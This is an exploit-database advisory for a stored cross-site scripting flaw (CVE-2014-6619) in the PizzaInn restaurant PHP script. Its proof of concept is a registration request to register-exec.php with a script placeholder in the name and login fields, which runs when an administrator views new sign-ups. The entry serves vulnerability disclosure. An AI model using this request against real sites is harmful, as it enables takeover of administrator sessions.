Restaurant Script (PizzaInn Project) - Persistent Cross-Site Scripting

Author: Kenneth F. Belva
type: webapps
platform: php
port: 80.0
date_added: 2014-09-24 
date_updated: 2014-09-24 
verified: 0 
codes: CVE-2014-6619;OSVDB-112019 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comRSv1.0.0.zip

Title:     Pizza Inn Registration Stored XSS
Severity:   High
CVE-ID:   CVE-2014-6619
Release Date:  20 September 2014
Author:   Kenneth F. Belva
Websites:  http://silverbackventuresllc.com
    http://xssWarrior.com
    http://securitymaverick.com
Twitter:   @infosecmaverick
Contact:  Please use website contact form.
Mail:
URL:     http://sourceforge.net/projects/restaurantmis/
Vendor:
Remote Exploit:  Yes

Discovered with: xssWarrior - http://xssWarrior.com


Description:
============

On registration the XSS code will be stored in the database. When the administrator views the new sign-ups it will execute.


Proof of Concept :
==================

http://[domain]/PizzaInn/register-exec.php
fname=[code]&lname=[code]&login=[code]&password=r00t&cpassword=r00t&question=8&answer=hack4&Submit=Register